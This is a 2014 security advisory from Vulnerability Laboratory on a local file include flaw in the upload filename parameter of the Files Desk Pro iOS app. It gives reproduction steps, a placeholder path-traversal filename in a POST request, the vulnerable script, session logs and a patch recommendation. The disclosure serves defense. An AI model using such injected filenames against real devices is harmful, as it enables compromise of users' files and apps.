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Document Title: =============== Files Desk Pro v1.4 iOS - File Include Web Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1266 Release Date: ============= 2014-05-16 Vulnerability Laboratory ID (VL-ID): ==================================== 1266 Common Vulnerability Scoring System: ==================================== 6.7 Product & Service Introduction: =============================== FileDesk is iPhone/iPad app for managing your files. Read differect kind of files,Create PDFs with different contents, Make your documents/files private,Share Your files over WiFi. File Desk - A digital desk for your files. Manage your Documents/Files With File Desk. (Copy of the Homepage: https://itunes.apple.com/ag/app/file-desk-pro-documents-manager/id600550320 ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a local file include web vulnerability in the official Files Desk Pro v1.4 iOS mobile web-application. Vulnerability Disclosure Timeline: ================================== 2014-05-16: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== LiveBird Technologies Private Limited Product: Files Desk Pro & Lite 1.4 Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A local file include web vulnerability has been discovered in the official Files Desk Pro v1.4 iOS mobile web-application. The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands to compromise the mobile web-application. The web vulnerability is located in the <code>filename</code> value of the <code>upload</code> module. Remote attackers are able to inject own files with malicious <code>filename</code> values in the <code>upload</code> POST method request to compromise the mobile web-application. The local file/path include execution occcurs in the <code>index file dir</code> list of the <code>filesdesk</code> manager. The attacker is able to inject the local file include request by usage of the <code>wifi interface</code> or by a local privileged application user accounts via <code>file sync</code>(app). Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute different local malicious attacks requests. The attack vector is on the application-side of the wifi service and the request method to inject is POST. The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.7. Exploitation of the local file include web vulnerability requires no user interaction but a privileged web-application user account with low user auth. Successful exploitation of the local file include web vulnerability results in mobile application or connected device component compromise. Request Method(s): [+] [POST] - Remote [+] [SYNC] - Local Vulnerable Module(s): [+] FilesDesk Wifi (UI) Vulnerable Function(s): [+] Upload Vulnerable Parameter(s): [+] filename Affected Module(s): [+] Index File Dir Listing (http://localhost:8081/) Proof of Concept (PoC): ======================= The local file/path include web vulnerability can be exploited local attackers without privileged application user account and without user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Manual steps to reproduce ... 1. Install the FileDesk mobile application to your iOS device (ipad or iphone) 2. Start the local wifi web-server and share some random files 3. Connect with another remote computer to the local web-server interface url > web.localhost:8081 4. Start a session tamper and choose a random file to upload 5. Submit the upload form and intercept in the session to change the vulnerable filename value to a local device file/path Note: Can also be combined with script codes and html tags 6. Refresh the index and the execution of the malicious request occurs in the index file dir list (name value) 7. Successful reproduce of the file include web vulnerability! PoC: FilesDesk Index <table border="0" cellpadding="0" cellspacing="0"> <thead> <tr><th>Name</th><th class="del">Delete</th></tr> </thead> <tbody id="filelist"> <tr><td><a href="https://www.exploit-db.com/files/%3C[LOCAL FILE/PATH INCLUDE VULNERABILITY!].png" class="file"><[LOCAL FILE/PATH INCLUDE VULNERABILITY!]">.png</a></td><td class='del'><form action='/files/%3C[LOCAL FILE/PATH INCLUDE VULNERABILITY!].png' method='post'><input name='_method' value='delete' type='hidden'/><input name="commit" type="submit" value="Delete" class='button' /></td></tr></tbody></table></iframe></a></td></tr></tbody> </table> Vulnerable Source: Upload Script <script type="text/javascript" charset="utf-8"> var now = new Date(); $.getJSON("/files?"+ now.toString(), function(data){ var shadow = false; $.each(data, function(i,item){ var trclass=''; if (shadow) trclass= " class='shadow'"; encodeName = encodeURI(item.name).replace("'", "'"); $("<tr" + trclass + "><td><a href='https://www.exploit-db.com/files/" + encodeName + "' class='file'>" + item.name + "</a></td>" + "<td class='del'><form action='/files/" + encodeName + "' method='post'><input name='_method' value='delete' type='hidden'/><input name= \"commit\" type=\"submit\" value=\"Delete\" class='button' /></td>" + "</tr>").appendTo("#filelist"); shadow = !shadow; }); }); </script> --- PoC Session Logs [POST] --- Status: 302[Found] POST http://192.168.2.104:8081/files Load Flags[LOAD_DOCUMENT_URILOAD_INITIAL_DOCUMENT_URI] Gr��e des Inhalts[67] Mime Type[text/html] Request Header: Host[192.168.2.104:8081] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://192.168.2.104:8081/] Connection[keep-alive] POST-Daten: POST_DATA[-----------------------------147491436412682 Content-Disposition: form-data; name="newfile"; filename="%3C../[LOCAL FILE/PATH INCLUDE VULNERABILITY!].png" Content-Type: image/png Status: 200[OK] GET http://192.168.2.104:8081/ Load Flags[LOAD_DOCUMENT_URILOAD_REPLACELOAD_INITIAL_DOCUMENT_URI] Gr��e des Inhalts[2953] Mime Type[application/x-unknown-content-type] Request Header: Host[192.168.2.104:8081] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://192.168.2.104:8081/] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Content-Length[2953] Date[Do., 15 Mai 2014 14:27:35 GMT] Status: 200[OK] GET http://192.168.2.104:8081/files?Thu%20May%2015%202014%2016:14:57%20GMT+0200 Load Flags[LOAD_BACKGROUND] Gr��e des Inhalts[39] Mime Type[text/plain] Request Header: Host[192.168.2.104:8081] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0] Accept[application/json, text/javascript, */*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] Referer[http://192.168.2.104:8081/] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Content-Length[39] Cache-Control[private, max-age=0, must-revalidate] Content-Type[text/plain; charset=utf-8] Date[Do., 15 Mai 2014 14:27:37 GMT] Status: 200[OK] GET http://192.168.2.104:8081/%3C../[LOCAL FILE/PATH INCLUDE VULNERABILITY!] Load Flags[LOAD_DOCUMENT_URI] Gr��e des Inhalts[0] Mime Type[application/x-unknown-content-type] Request Header: Host[192.168.2.104:8081] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://192.168.2.104:8081/] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Content-Length[0] Date[Do., 15 Mai 2014 14:27:38 GMT] Reference(s): http://web.localhost:8081/[x] http://web.localhost:8081/files Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the filename value in the upload POST method request. Disallow special chars for files and foldernames and restrict the user input. Encode and parse also the vulnerable name output value. Security Risk: ============== The security risk of the local file include web vulnerability in the filename value is estimated as high(-). Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. 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